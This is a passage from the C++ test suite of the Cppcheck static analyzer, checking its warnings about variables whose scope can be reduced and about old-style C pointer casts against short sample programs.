\" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class 